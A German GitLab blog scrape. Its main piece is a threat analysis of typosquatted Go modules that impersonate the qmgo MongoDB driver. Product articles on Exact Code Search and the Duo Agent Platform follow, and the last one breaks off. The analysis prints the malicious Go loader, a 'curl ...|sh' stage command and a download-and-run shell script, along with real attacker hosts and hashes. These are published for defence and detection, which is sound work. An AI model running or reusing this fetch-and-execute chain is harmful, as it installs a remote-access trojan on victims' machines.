Semantische Code-Analyse, die potenziell bösartige Verhaltensweisen wie Netzwerkanfragen oder Befehlsausführungen kennzeichnet
KI-unterstütztes initiales Screening für fortgeschrittene Payload- und Verschleierungserkennung

Dieser mehrschichtige Ansatz wird vom Vulnerability Research Team verwendet, um kontinuierlich neu veröffentlichte Abhängigkeiten in wichtigen Ökosystemen zu scannen und frühzeitig vor Supply-Chain-Angriffen zu warnen.

Mit diesem Erkennungssystem hat GitLab kürzlich einen aktiven Typosquatting-Angriff in freier Wildbahn identifiziert, der ein bösartiges MongoDB Go-Modul nutzte. Im Folgenden finden sich Details zum Angriff und dazu, wie GitLab daran arbeitet, Supply Chains sicher zu halten.

Zusammenfassung: Ein MongoDB-Modul, das nicht ganz richtig ist

Unser Erkennungssystem hat ein neu veröffentlichtes Go-Modul namens github.com/qiniiu/qmgo gemeldet, das das beliebte MongoDB-Modul github.com/qiniu/qmgo genau nachahmt. Das legitime Modul beschreibt sich selbst als „Der Go-Treiber für MongoDB" und hat in der Go-Community an Bedeutung gewonnen.

Um das bösartige Modul als legitim zu tarnen, verwendete der Bedrohungsakteur einen GitHub-Benutzernamen, der fast identisch mit dem des echten Moduls war, mit einer subtilen Änderung: Sie fügten ein „i" hinzu (qiniu → qiniiu). Für den gelegentlichen Beobachter, der durch Suchergebnisse oder Auto-Vervollständigungs-Vorschläge scrollt, wäre dieser Unterschied sehr leicht zu übersehen.

Der Code des neuen Moduls war eine funktionierende Kopie des legitimen qmgo-Moduls. Allerdings wurde bösartiger Code in die NewClient-Funktion in client.go eingefügt, eine Funktion, die Entwickler(innen) natürlich aufrufen würden, wenn sie ihre MongoDB-Verbindung initialisieren. Das Verbergen von bösartigem Code innerhalb einer Funktion machte die Payload weniger wahrscheinlich, während potenzieller Laufzeit-Sicherheitsanalysen ausgeführt zu werden, während sichergestellt wurde, dass sie bei normaler Nutzung in echten Anwendungen ausgeführt würde.

Nach der Meldung des bösartigen Moduls wurde es innerhalb von etwa 19 Stunden nach unserer ersten Meldung entfernt. Der Bedrohungsakteur passte sich jedoch schnell an und veröffentlichte nur vier Tage später eine zweite Typosquatting-Version (github.com/qiiniu/qmgo) mit identischem bösartigem Code. Dieser Folgeangriff wurde ebenfalls erkannt und etwa eine Stunde nach der ersten Entdeckung entfernt. Die schnelle Neubereitstellung zeigt die Hartnäckigkeit dieser Angriffe und unterstreicht, warum proaktive Erkennung entscheidend ist, um Expositionsfenster zu minimieren.

Technische Tiefenanalyse: Die Schichten abziehen

Der Bedrohungsakteur unternahm Schritte, um den Angriff zu verbergen. Die bösartige Payload verwendete einen mehrschichtigen Ansatz, beginnend mit einem kompakten Code-Snippet, das eine Kette von Remote-Payload-Downloads auslöste:

txt, err := script.Get("https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html").String()  
if err == nil {  
    txt2, err := script.Get(string(strings.Replace(txt, "\n", "", -1))).String()  
    if err == nil {  
        exec.Command("/bin/sh", "-c", string(txt2)).Start()  
    }  
}

Der Angriff entfaltet sich in vier verschiedenen Schichten:

Schicht 1: Der Code holt update.html aus einem anderen Repository, das dem Typosquat-Konto qiiniu/vue-element-admin gehört. Die Datei enthielt eine einzelne Zeile:

https://img.googlex.cloud/seed.php

Schicht 2: Der Code holt dann https://img.googlex.cloud/seed.php, was einen einzelnen Shell-Befehl zurückgibt, der ausgeführt wird:

curl -s http://207.148.110.29:80/logon61.gif|sh

Schicht 3: Der Befehl weist das System an, http://207.148.110.29:80/logon61.gif mit curl abzurufen und die Antwort als Shell-Skript auszuführen. Das Shell-Skript lädt eine scheinbare MP3-Datei (chainelli.mp3) nach /tmp/vod herunter, macht sie ausführbar, führt sie aus und löscht sie sofort:

#!/bin/sh  
rm -rf /tmp/vod  
curl -s http://207.148.110.29:80/chainelli.mp3 -o /tmp/vod  
chmod 777 /tmp/vod  
/tmp/vod  
rm -rf /tmp/vod

Schicht 4: Die chainelli.mp3-Datei ist tatsächlich eine statisch gelinkte, gestrippte ELF Go-Binärdatei, die darauf ausgelegt ist, persistenten Remote-Zugriff herzustellen. Nach der Ausführung versucht die Malware, sich mit ihrem Command-and-Control-Server bei ellipal.spoolsv.cyou auf Port 443 (sowohl TCP als auch UDP) zu verbinden, wobei ein benutzerdefiniertes verschlüsseltes Kommunikationsprotokoll mit einem hartcodierten RSA-Schlüssel verwendet wird. Von dort aus bietet sie dem Bedrohungsakteur Remote-Administrationsfähigkeiten:

Vollständiger Remote-Shell-Zugriff und einmalige Befehlsausführung
Screenshot-Aufnahmen
SOCKS-Proxy-Funktionalität, um Verbindungen über die kompromittierte Maschine herzustellen
Konfigurierbares Schlafintervall zwischen Check-ins mit dem Command-and-Control-Server zur Vermeidung von Erkennung
Standard-Remote-Access-Trojaner-Funktionen wie Dateisystem-Browsing und Upload/Download

Sie sind zurück (schon wieder)

Nur vier Tage nachdem GitLab das erste bösartige Modul gemeldet und seine Entfernung beobachtet hatte, erschien github.com/qiiniu/qmgo – die zweite Typosquatting-Version mit identischem bösartigem Code. Diese schnelle Neubereitstellung demonstriert die Hartnäckigkeit dieser Angriffe und zeigt, wie Bedrohungsakteure sich schnell an Takedown-Bemühungen anpassen.

GitLabs Ansatz: Nadeln im Heuhaufen finden

Die anfängliche Entdeckung und Beständigkeit dieses Angriffs bestätigte unseren Ansatz zur proaktiven Abhängigkeitsüberwachung und Bedrohungserkennung. GitLabs Erkennungssystem kombiniert mehrere Techniken zur Identifizierung bösartiger Abhängigkeiten:

Typosquatting-Erkennung: GitLab überwacht neu veröffentlichte Abhängigkeiten und sucht nach Paketen, die Anzeichen verschiedener Typosquatting-Strategien zeigen.

Semantische Heuristik: Unser System analysiert Code statisch auf Muster wie Netzwerkanfragen, Befehlsausführungen und andere für bösartige Payloads typische Verhaltensweisen.

KI-unterstützte Analyse: Ein Large Language Model führt die anfängliche Analyse der verdächtigen Teile des Codes durch, um uns zu helfen, offensichtliche Fehlalarme auszusortieren, komplexe Payloads zu erkennen und Verschleierungstechniken zu identifizieren, die verwendet werden, um bösartige Absichten zu verbergen.

Menschliche Überprüfung: Ein Mensch erhält eine Warnung, um den Fund zu verifizieren und eine erweiterte Analyse durchzuführen.

Empfehlungen: Persistenten Supply-Chain-Bedrohungen voraus bleiben

Dieser Angriff unterstreicht die anhaltenden Herausforderungen bei der Sicherung von Software-Supply-Chains. Die mehrschichtige Verschleierung und schnelle Neubereitstellung nach dem Takedown zeigen, dass Bedrohungsakteure bereit sind, erheblichen Aufwand zu investieren, um beliebte Abhängigkeiten ins Visier zu nehmen.

Der schnelle Wechsel zu neuen Typosquatting-Paketen nach unserer ersten Meldung hebt eine grundlegende Schwäche in den aktuellen Ökosystemen hervor: Paketmanager entfernen bösartige Abhängigkeiten normalerweise erst, nachdem sie veröffentlicht, entdeckt und von der Community gemeldet wurden. Dieser reaktive Ansatz hinterlässt ein gefährliches Zeitfenster, in dem Entwickler(innen) unwissentlich kompromittierte Pakete konsumieren können. Proaktive Überwachungs- und Erkennungssysteme wie das von GitLab entwickelte können helfen, diese Lücke zu schließen, indem sie Bedrohungen während des Veröffentlichungsprozesses selbst identifizieren.

Wir haben Indicators of Compromise (IOCs) im nächsten Abschnitt bereitgestellt, die in Überwachungssystemen verwendet werden können, um diese spezifische Kampagne zu erkennen.

Indicators of Compromise

IOC	Beschreibung
`github.com/qiniiu/qmgo`	Bösartiges Go-Modul
`github.com/qiiniu/qmgo`	Bösartiges Go-Modul
`https://raw.githubusercontent.com/qiniiu/vue-element-admin/refs/heads/main/public/update.html`	Payload-Bereitstellungs-URL
`https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html`	Payload-Bereitstellungs-URL
`https://img.googlex.cloud/seed.php`	Payload-Bereitstellungs-URL
`http://207.148.110.29:80/logon61.gif`	Payload-Bereitstellungs-URL
`http://207.148.110.29:80/chainelli.mp3`	Payload-Bereitstellungs-URL
`img.googlex.cloud`	Payload-Bereitstellungs-Host
`207.148.110.29`	Payload-Bereitstellungs-Host
`ellipal.spoolsv.cyou`	Command & Control-Host
`6ada952c592f286692c59028c5e0fc3fa589759f`	SHA-1-Prüfsumme der chainelli.mp3 Remote-Administrations-Malware
`8ae533e2d1d89c871908cbcf5c7d89c433d09b2e7f7d4ade3aef46c55b66509c`	SHA-256-Prüfsumme der chainelli.mp3 Remote-Administrations-Malware
`/tmp/vod`	Temporärer Download-Speicherort der chainelli.mp3 Remote-Administrations-Malware

Wie GitLab hilft, die Software-Supply-Chain zu sichern

Bösartige Abhängigkeiten wie der MongoDB Go-Modul-Angriff zeigen, warum die Sicherung der Software-Supply-Chain mehr als nur CVE-Überwachung erfordert. GitLabs DevSecOps-Plattform umfasst Application Security Testing-Scanner wie Software Composition Analysis im Entwicklungslebenszyklus, die Teams helfen, verwundbare oder bösartige Pakete zu erkennen, bevor sie die Produktion erreichen.

Gepaart mit Forschungsbemühungen wie dieser zielt GitLab darauf ab, Entwickler(inne)n zu ermöglichen, Anwendungen zu erstellen, die von Anfang an sicher sind, ohne die Entwicklungsgeschwindigkeit zu beeinträchtigen.

Zeitlinie

2025-06-01T09:31: GitLab meldet github.com/qiniiu/qmgo an Go Security
2025-06-01T09:43: GitLab meldet github.com/qiniiu/qmgo an GitHub
2025-06-01T10:14: GitLab meldet ellipal.spoolsv.cyou (188.166.213.194) an den IP-Block-Eigentümer
2025-06-02T04:03: Go Security entfernt github.com/qiniiu/qmgo
2025-06-02T09:57: Der IP-Block-Eigentümer sperrt 188.166.213.194
2025-06-03T09:15: GitHub sperrt github.com/qiniiu
2025-06-05T17:15: GitLab meldet github.com/qiiniu/qmgo an Go Security
2025-06-05T17:33: GitLab meldet github.com/qiiniu/qmgo an GitHub
2025-06-05T17:45: Go Security entfernt github.com/qiiniu/qmgo
2025-06-06T12:25: GitHub sperrt github.com/qiiniu

Exact Code Search: Code schneller über Repositories hinweg finden

2025-06-25T00:00:00.000Z

Kurz gesagt: Was wäre, wenn du jede Codezeile in 48 TB an Repositories in Millisekunden finden könntest? GitLabs neue Exact Code Search macht genau das möglich – mit präzisen Treffern, leistungsstarker Regex-Unterstützung und kontextbezogenen mehrzeiligen Ergebnissen, die die Arbeit mit großen Codebasen revolutionieren.

Warum traditionelle Code-Suche herausfordernd ist

Jeder, der mit Code arbeitet, kennt die Frustration bei der Suche über Repositories hinweg. Egal ob du als Entwickler(in) einen Fehler debuggst, als DevOps-Ingenieur(in) Konfigurationen untersuchst, als Sicherheitsanalyst(in) nach Schwachstellen suchst, als technische(r) Redakteur(in) Dokumentationen aktualisierst oder als Manager(in) Implementierungen überprüfst – du weißt genau, was du brauchst, aber herkömmliche Suchwerkzeuge lassen dich oft im Stich.

Diese konventionellen Tools liefern Dutzende von False Positives, bieten nicht den nötigen Kontext zum Verständnis der Ergebnisse und werden mit wachsenden Codebasen immer langsamer. Das Ergebnis? Wertvolle Zeit wird mit der Suche nach der Nadel im Heuhaufen verschwendet, anstatt Software zu entwickeln, zu sichern oder zu verbessern.

GitLabs Code-Suchfunktion basierte bisher auf Elasticsearch oder OpenSearch. Diese eignen sich zwar hervorragend für die Suche in Issues, Merge Requests, Kommentaren und anderen Daten mit natürlicher Sprache, wurden aber nicht speziell für Code entwickelt. Nach der Evaluierung zahlreicher Optionen haben wir eine bessere Lösung entwickelt.

Wir stellen vor: Exact Code Search – drei bahnbrechende Funktionen

Mit GitLabs Exact Code Search, derzeit in der Beta-Phase und angetrieben von Zoekt (ausgesprochen "sukt", niederländisch für "sucht"). Zoekt ist eine Open-Source-Code-Suchmaschine, die ursprünglich von Google entwickelt und jetzt von Sourcegraph gepflegt wird – speziell konzipiert für schnelle, präzise Code-Suche im großen Maßstab. Wir haben sie mit GitLab-spezifischen Integrationen, Verbesserungen für Unternehmensmaßstäbe und nahtloser Integration des Berechtigungssystems erweitert.

Diese Funktion revolutioniert, wie du Code findest und verstehst, mit drei Hauptfunktionen:

1. Exact Match-Modus: Null False Positives

Im Exact Match-Modus liefert die Suchmaschine nur Ergebnisse, die exakt deiner Suchanfrage entsprechen, und eliminiert False Positives. Diese Präzision ist unbezahlbar beim:

Suchen nach spezifischen Fehlermeldungen
Finden bestimmter Funktionssignaturen
Aufspüren von Instanzen spezifischer Variablennamen

2. Regular Expression-Modus: Leistungsstarkes Pattern Matching

Für komplexe Suchanforderungen ermöglicht der Regular Expression-Modus die Erstellung ausgefeilter Suchmuster:

Finde Funktionen, die bestimmten Namensmustern folgen
Lokalisiere Variablen mit bestimmten Einschränkungen
Identifiziere potenzielle Sicherheitslücken mittels Pattern Matching

3. Mehrzeilige Treffer: Code im Kontext sehen

Statt nur eine einzelne Zeile mit deinem Suchbegriff zu sehen, erhältst du den umgebenden Kontext, der für das Verständnis des Codes entscheidend ist. Das eliminiert die Notwendigkeit, für grundlegendes Verständnis in Dateien zu klicken, und beschleunigt deinen Workflow erheblich.

Von Funktionen zu Workflows: Anwendungsfälle und Auswirkungen aus der Praxis

Schauen wir uns an, wie diese Funktionen zu echten Produktivitätssteigerungen in alltäglichen Entwicklungsszenarien führen:

Debugging: Von der Fehlermeldung zur Ursache in Sekunden

Vor Exact Code Search: Eine Fehlermeldung kopieren, suchen, durch Dutzende von Teiltreffern in Kommentaren und Dokumentation waten, durch mehrere Dateien klicken und schließlich den tatsächlichen Code finden.

Mit Exact Code Search:

Die exakte Fehlermeldung kopieren
Sie in Exact Code Search im Exact Match-Modus einfügen
Sofort die präzise Stelle finden, wo der Fehler ausgelöst wird, mit umgebendem Kontext

Auswirkung: Reduziere die Debugging-Zeit von Minuten auf Sekunden und eliminiere die Frustration durch False Positives.

Code-Exploration: Unbekannte Codebasen schnell meistern

Vor Exact Code Search: Durch Verzeichnisse browsen, fundierte Vermutungen über Dateispeicherorte anstellen, Dutzende von Dateien öffnen und langsam eine mentale Karte der Codebasis aufbauen.

Mit Exact Code Search:

Nach Schlüsselmethoden oder -klassen im Exact Match-Modus suchen
Mehrzeilige Treffer überprüfen, um Implementierungsdetails zu verstehen
Den Regular Expression-Modus nutzen, um ähnliche Muster in der Codebasis zu finden

Auswirkung: Baue eine mentale Karte der Code-Struktur in Minuten statt Stunden auf und beschleunige Onboarding und teamübergreifende Zusammenarbeit dramatisch.

Refactoring mit Zuversicht

Vor Exact Code Search: Versuchen, alle Instanzen einer Methode zu finden, einige Vorkommen übersehen und durch unvollständiges Refactoring Fehler einführen.

Mit Exact Code Search:

Den Exact Match-Modus nutzen, um alle Vorkommen von Methoden oder Variablen zu finden
Kontext überprüfen, um Verwendungsmuster zu verstehen
Dein Refactoring mit vollständigen Informationen über die Auswirkungen planen

Auswirkung: Eliminiere die "übersehene Instanz"-Fehler, die Refactoring-Bemühungen oft plagen, verbessere die Code-Qualität und reduziere Nacharbeit.

Sicherheitsaudits: Verwundbare Muster finden

Sicherheitsteams können:

Regex-Muster erstellen, die bekanntem verwundbarem Code entsprechen
Über alle Repositories in einem Namespace suchen
Schnell potenzielle Sicherheitsprobleme mit Kontext identifizieren, der bei der Risikobewertung hilft

Auswirkung: Verwandle Sicherheitsaudits von manuellen, fehleranfälligen Prozessen in systematische, umfassende Überprüfungen.

Repository-übergreifende Einblicke

Suche über deinen gesamten Namespace oder deine Instanz, um:

Ähnliche Implementierungen in verschiedenen Projekten zu identifizieren
Möglichkeiten für gemeinsame Bibliotheken oder Standardisierung zu entdecken

Auswirkung: Baue Silos zwischen Projekten ab und identifiziere Möglichkeiten für Code-Wiederverwendung und Standardisierung.

Die technische Grundlage: Wie Zoekt Geschwindigkeit und Präzision liefert

Bevor wir in unsere Skalierungserfolge eintauchen, lass uns erkunden, was Zoekt grundlegend von traditionellen Suchmaschinen unterscheidet – und warum es exakte Treffer so unglaublich schnell finden kann.

Positionale Trigramme: Das Geheimnis blitzschneller exakter Treffer

Zoekts Geschwindigkeit kommt von der Verwendung positionaler Trigramme – einer Technik, die jede Sequenz von drei Zeichen zusammen mit ihren exakten Positionen in Dateien indexiert. Dieser Ansatz löst einen der größten Schmerzpunkte, die Entwickler(innen) mit Elasticsearch-basierter Code-Suche hatten: False Positives.

So funktioniert es:

Traditionelle Volltextsuchmaschinen wie Elasticsearch tokenisieren Code in Wörter und verlieren Positionsinformationen. Wenn du nach getUserId() suchst, könnten sie Ergebnisse liefern, die user, get und Id über eine Datei verteilt enthalten – was zu diesen frustrierenden False Positives für GitLab-Nutzer(innen) führt.

Zoekts positionale Trigramme behalten exakte Zeichensequenzen und ihre Positionen bei. Wenn du nach getUserId() suchst, sucht Zoekt nach den exakten Trigrammen wie get, etU, tUs, Use, ser, erI, rId, Id(, d(), alle in der korrekten Reihenfolge und Position. Das stellt sicher, dass nur exakte Treffer zurückgegeben werden.

Das Ergebnis? Suchanfragen, die zuvor Hunderte irrelevanter Ergebnisse lieferten, liefern jetzt nur noch die präzisen Treffer, nach denen du suchst. Das war eine unserer meistgewünschten Funktionen aus gutem Grund – Entwickler(innen) verloren erhebliche Zeit beim Durchsuchen von False Positives.

Regular Expression-Performance im großen Maßstab

Zoekt glänzt bei exakten Treffern und ist für Regular Expression-Suchen optimiert. Die Engine nutzt ausgefeilte Algorithmen, um Regex-Muster wenn möglich in effiziente Trigramm-Abfragen umzuwandeln und behält die Geschwindigkeit selbst bei komplexen Mustern über Terabytes von Code bei.

Entwickelt für Unternehmensmaßstäbe

Exact Code Search ist leistungsstark und für massive Skalierung mit beeindruckender Performance gebaut. Das ist nicht nur eine neue UI-Funktion – sie wird von einer komplett neu konzipierten Backend-Architektur angetrieben.

Terabytes von Code mit Leichtigkeit bewältigen

Allein auf GitLab.com indexiert und durchsucht unsere Exact Code Search-Infrastruktur über 48 TB an Code-Daten bei gleichzeitig blitzschnellen Antwortzeiten. Diese Größenordnung repräsentiert Millionen von Repositories über Tausende von Namespaces, alle innerhalb von Millisekunden durchsuchbar. Um das in Perspektive zu setzen: Diese Größenordnung repräsentiert mehr Code als die gesamten Linux-Kernel-, Android- und Chromium-Projekte zusammen. Dennoch kann Exact Code Search eine spezifische Zeile in dieser massiven Codebasis in Millisekunden finden.

Selbstregistrierende Node-Architektur

Unsere innovative Implementierung bietet:

Automatische Node-Registrierung: Zoekt-Nodes registrieren sich selbst bei GitLab
Dynamische Shard-Zuweisung: Das System weist Namespaces automatisch Nodes zu
Gesundheitsüberwachung: Nodes, die sich nicht melden, werden automatisch als offline markiert

Diese selbstkonfigurierende Architektur vereinfacht die Skalierung dramatisch. Wenn mehr Kapazität benötigt wird, können Administratoren einfach weitere Nodes hinzufügen, ohne komplexe Neukonfiguration.

Verteiltes System mit intelligentem Load Balancing

Hinter den Kulissen arbeitet Exact Code Search als verteiltes System mit diesen Schlüsselkomponenten:

Spezialisierte Such-Nodes: Zweckgebundene Server, die Indexierung und Suche übernehmen
Intelligentes Sharding: Code wird basierend auf Namespaces über Nodes verteilt
Automatisches Load Balancing: Das System verteilt Arbeit intelligent basierend auf Kapazität
Hohe Verfügbarkeit: Mehrere Replikate gewährleisten kontinuierlichen Betrieb, selbst wenn Nodes ausfallen

Hinweis: Hohe Verfügbarkeit ist in die Architektur integriert, aber noch nicht vollständig aktiviert. Siehe Issue 514736 für Updates.

Nahtlose Sicherheitsintegration

Exact Code Search integriert sich automatisch mit GitLabs Berechtigungssystem:

Suchergebnisse werden basierend auf den Zugriffsrechten des Nutzers gefiltert
Nur Code aus Projekten, auf die der Nutzer Zugriff hat, wird angezeigt
Sicherheit ist in die Kernarchitektur integriert, nicht nachträglich hinzugefügt

Optimierte Performance

Effiziente Indexierung: Große Repositories werden in Dutzenden von Sekunden indexiert
Schnelle Query-Ausführung: Die meisten Suchen liefern Ergebnisse mit Antwortzeiten unter einer Sekunde
Streaming-Ergebnisse: Die neue gRPC-basierte föderierte Suche streamt Ergebnisse, sobald sie gefunden werden
Frühzeitiger Abbruch: Sobald genügend Ergebnisse gesammelt wurden, pausiert das System die Suche

Von der Bibliothek zum verteilten System: Technische Herausforderungen, die wir gelöst haben

Während Zoekt die Kern-Suchtechnologie bereitstellte, war es ursprünglich als minimale Bibliothek zur Verwaltung von .zoekt-Indexdateien konzipiert – nicht als verteilte Datenbank oder Unternehmens-Service. Hier sind die wichtigsten technischen Herausforderungen, die wir überwunden haben, um es in GitLabs Maßstab zum Laufen zu bringen:

Herausforderung 1: Aufbau einer Orchestrierungsschicht

Das Problem: Zoekt war für die Arbeit mit lokalen Indexdateien konzipiert, nicht für die Verteilung über mehrere Nodes, die viele gleichzeitige Nutzer bedienen.

Unsere Lösung: Wir haben eine umfassende Orchestrierungsschicht aufgebaut, die:

Datenbankmodelle erstellt und verwaltet, um Nodes, Indizes, Repositories und Aufgaben zu verfolgen
Eine selbstregistrierende Node-Architektur implementiert (inspiriert von GitLab Runner)
Automatische Shard-Zuweisung und Load Balancing über Nodes hinweg handhabt
Bidirektionale API-Kommunikation zwischen GitLab Rails und Zoekt-Nodes bereitstellt

Herausforderung 2: Skalierung von Speicher und Indexierung

Das Problem: Wie verwaltet man effizient Terabytes von Indexdaten über mehrere Nodes bei gleichzeitig schnellen Updates?

Unsere Lösung: Wir implementierten:

Intelligentes Sharding: Namespaces werden basierend auf Kapazität und Last über Nodes verteilt
Unabhängige Replikation: Jeder Node indexiert unabhängig von Gitaly (unserem Git-Speicherdienst), wodurch komplexe Synchronisation eliminiert wird
Watermark-Management: Ausgefeilte Speicherzuweisung, die verhindert, dass Nodes der Speicherplatz ausgeht
Einheitliche Binary-Architektur: Ein einzelnes gitlab-zoekt-Binary, das sowohl im Indexer- als auch im Webserver-Modus arbeiten kann

Herausforderung 3: Berechtigungsintegration

Das Problem: Zoekt hatte kein Konzept von GitLabs komplexem Berechtigungssystem – Nutzer sollten nur Ergebnisse aus Projekten sehen, auf die sie Zugriff haben.

Unsere Lösung: Wir haben native Berechtigungsfilterung direkt in den Suchablauf integriert:

Suchanfragen enthalten Nutzerberechtigungskontext
Ergebnisse werden gefiltert, um nur die anzuzeigen, auf die der Nutzer zugreifen kann, falls sich Berechtigungen ändern, bevor die Indexierung abgeschlossen ist

Herausforderung 4: Betriebliche Einfachheit

Das Problem: Die Verwaltung eines verteilten Suchsystems sollte kein dediziertes Team erfordern.

Unsere Lösung:

Auto-Scaling: Das Hinzufügen von Kapazität ist so einfach wie das Bereitstellen weiterer Nodes – sie registrieren sich automatisch und beginnen mit der Arbeit
Selbstheilung: Nodes, die sich nicht melden, werden automatisch als offline markiert und ihre Arbeit wird umverteilt
Zero-Configuration-Sharding: Das System bestimmt automatisch optimale Shard-Zuweisungen

Schrittweiser Rollout: Risikominimierung im großen Maßstab

Der Rollout eines komplett neuen Such-Backends für Millionen von Nutzern erforderte sorgfältige Planung. So haben wir die Auswirkungen auf Kunden minimiert und gleichzeitig Zuverlässigkeit sichergestellt:

Phase 1: Kontrolliertes Testen (gitlab-org-Gruppe)

Wir begannen damit, Exact Code Search nur für die gitlab-org-Gruppe zu aktivieren – unsere eigenen internen Repositories. Das ermöglichte uns:

Das System mit echten Produktions-Workloads zu testen
Performance-Engpässe zu identifizieren und zu beheben
Den Bereitstellungsprozess zu optimieren
Aus den Workflows und dem Feedback echter Nutzer zu lernen

Phase 2: Performance-Validierung und -Optimierung

Vor der Erweiterung konzentrierten wir uns darauf sicherzustellen, dass das System GitLab.coms Maßstab bewältigen konnte:

Umfassendes Monitoring und Alerting implementiert
Speicherverwaltung mit echtem Produktionsdatenwachstum validiert

Phase 3: Schrittweise Kundenerweiterung

Wir erweiterten schrittweise auf Kunden, die daran interessiert waren, Exact Code Search zu testen:

Feedback zu Performance und Benutzererfahrung gesammelt
Die Such-UI basierend auf echten Nutzer-Workflows verfeinert
Indexierungs-Performance optimiert (große Repositories wie gitlab-org/gitlab indexieren jetzt in ~10 Sekunden)
Die Architektur basierend auf betrieblichen Erkenntnissen verfeinert
Indexierungs-Durchsatz massiv erhöht und Zustandsübergangs-Lebenszyklus verbessert

Phase 4: Breiter Rollout

Heute haben über 99% der Premium- und Ultimate-lizenzierten Gruppen auf GitLab.com Zugriff auf Exact Code Search. Nutzer können:

Zwischen Regex- und exaktem Suchmodus umschalten
Die Vorteile ohne Konfigurationsänderungen erleben
Bei Bedarf auf die vorherige Suche zurückgreifen (obwohl wenige dies wählen)

Der schrittweise Rollout bedeutete, dass Nutzer keine Service-Unterbrechungen, Performance-Verschlechterungen oder Feature-Lücken während des Übergangs erlebten. Wir haben bereits positives Feedback von Nutzern erhalten, die bemerken, dass ihre Ergebnisse relevanter und schneller werden.

Für technische Details: Interessiert an der detaillierten Architektur und Implementierung? Schau dir unser umfassendes Design-Dokument für ausführliche technische Details an, wie wir dieses verteilte Suchsystem gebaut haben.

Erste Schritte mit Exact Code Search

Der Einstieg in Exact Code Search ist einfach, da es bereits standardmäßig für Premium- und Ultimate-Gruppen auf GitLab.com aktiviert ist (über 99% der berechtigten Gruppen haben derzeit Zugriff).

Schnellstart-Anleitung

Navigiere zur erweiterten Suche in deinem GitLab-Projekt oder deiner Gruppe
Gib deinen Suchbegriff im Code-Tab ein
Wechsle zwischen Exact Match- und Regular Expression-Modus
Nutze Filter, um deine Suche zu verfeinern

Grundlegende Such-Syntax

Egal ob du den Exact Match- oder Regular Expression-Modus verwendest, du kannst deine Suche mit Modifikatoren verfeinern:

Abfrage-Beispiel	Was es bewirkt
`file:js`	Sucht nur in Dateien, die "js" im Namen enthalten
`foo -bar`	Findet "foo", schließt aber Ergebnisse mit "bar" aus
`lang:ruby`	Sucht nur in Ruby-Dateien
`sym:process`	Findet "process" in Symbolen (Methoden, Klassen, Variablen)

Profi-Tipp: Für die effizientesten Suchen beginne spezifisch und erweitere dann bei Bedarf. Die Verwendung von file:- und lang:-Filtern erhöht die Relevanz dramatisch.

Erweiterte Suchtechniken

Stapele mehrere Filter für Präzision:

is_expected file:rb -file:spec

Das findet "is_expected" in Ruby-Dateien, die nicht "spec" im Namen haben.

Nutze reguläre Ausdrücke für leistungsstarke Muster:

token.*=.*[\"']

Sieh dir diese Suche im GitLab Zoekt Repository an.

Die Suche hilft, hartcodierte Passwörter zu finden, die, wenn nicht gefunden, ein Sicherheitsproblem darstellen können.

Für detailliertere Syntax-Informationen, schau in die Exact Code Search-Dokumentation.

Verfügbarkeit und Bereitstellung

Aktuelle Verfügbarkeit

Exact Code Search befindet sich derzeit in der Beta-Phase für GitLab.com-Nutzer mit Premium- und Ultimate-Lizenzen:

Verfügbar für über 99% der lizenzierten Gruppen
Die Suche in der UI nutzt automatisch Zoekt, wenn verfügbar, Exact Code Search in der Such-API ist hinter einem Feature-Flag

Bereitstellungsoptionen für Self-Managed

Für Self-Managed-Instanzen bieten wir mehrere Bereitstellungsmethoden:

Kubernetes/Helm: Unsere am besten unterstützte Methode, mit unserem gitlab-zoekt Helm Chart
Andere Bereitstellungsoptionen: Wir arbeiten an der Vereinfachung der Bereitstellung für Omnibus und andere Installationsmethoden

Die Systemanforderungen hängen von deiner Codebasis-Größe ab, aber die Architektur ist darauf ausgelegt, horizontal und/oder vertikal zu skalieren, wenn deine Anforderungen wachsen.

Was als Nächstes kommt

Während Exact Code Search bereits leistungsstark ist, verbessern wir sie kontinuierlich:

Skalierungsoptimierungen zur Unterstützung von Instanzen mit Hunderttausenden von Repositories
Verbesserte Self-Managed-Bereitstellungsoptionen, einschließlich vereinfachter Omnibus-Unterstützung
Vollständige Hochverfügbarkeits-Unterstützung mit automatischem Failover und Load Balancing

Bleib dran für Updates, während wir von Beta zu General Availability übergehen.

Transformiere deine Arbeitsweise mit Code

GitLabs Exact Code Search repräsentiert ein grundlegendes Umdenken bei der Code-Entdeckung. Durch die Bereitstellung exakter Treffer, leistungsstarker Regex-Unterstützung und kontextbezogener Ergebnisse löst sie die frustrierendsten Aspekte der Code-Suche:

Keine Zeitverschwendung mehr mit irrelevanten Ergebnissen
Keine wichtigen Treffer mehr verpassen
Kein Durchklicken von Dateien mehr nur für grundlegendes Verständnis
Keine Performance-Probleme mehr bei wachsenden Codebasen

Die Auswirkungen gehen über die individuelle Produktivität hinaus:

Teams arbeiten besser zusammen mit einfacher Code-Referenzierung
Wissensaustausch beschleunigt sich, wenn Muster auffindbar sind
Onboarding wird schneller mit schnellem Codebasis-Verständnis
Sicherheit verbessert sich mit effektivem Muster-Auditing
Abbau technischer Schulden wird machbarer

Exact Code Search ist nicht nur eine Funktion, es ist eine bessere Art, Code zu verstehen und damit zu arbeiten. Hör auf zu suchen und fang an zu finden.

Wir würden gerne von dir hören! Teile deine Erfahrungen, Fragen oder Feedback zu Exact Code Search in unserem Feedback-Issue. Dein Input hilft uns, Verbesserungen und neue Funktionen zu priorisieren.

Bereit für smartere Code-Suche? Erfahre mehr in unserer Dokumentation oder probiere es jetzt aus, indem du eine Suche in deinen Premium- oder Ultimate-lizenzierten Namespaces oder Projekten durchführst. Noch kein GitLab-Nutzer? Teste kostenlos GitLab Ultimate mit Duo für 60 Tage!

Die Zukunft ist da: GitLab Duo lässt dich mit 100+ KI-Agenten arbeiten

2025-06-24T00:00:00.000Z

Ich freue mich, die nächste Weiterentwicklung von Duo Workflow vorstellen zu können: die GitLab Duo Agent Platform. Diese innovative Plattform erweitert die agentischen Fähigkeiten auf den gesamten Softwareentwicklungszyklus und ermöglicht es Teams, parallel mit mehreren KI-Agenten zu arbeiten.

Stell dir vor, du beginnst deinen Tag so:

Du weist einen KI-Agenten an, Recherchen zu einem Epic durchzuführen, an dem dein Team arbeitet, die neuesten Updates zu allen Beiträgen der letzten Woche bereitzustellen und einen Veröffentlichungsbeitrag basierend auf den neuesten Funktionserweiterungen vorzuschlagen.
Gleichzeitig beauftragst du mehrere Agenten mit der Analyse einiger Fehler bei der Barrierefreiheit und der Durchführung der erforderlichen Codeänderungen, um diese zu beheben.
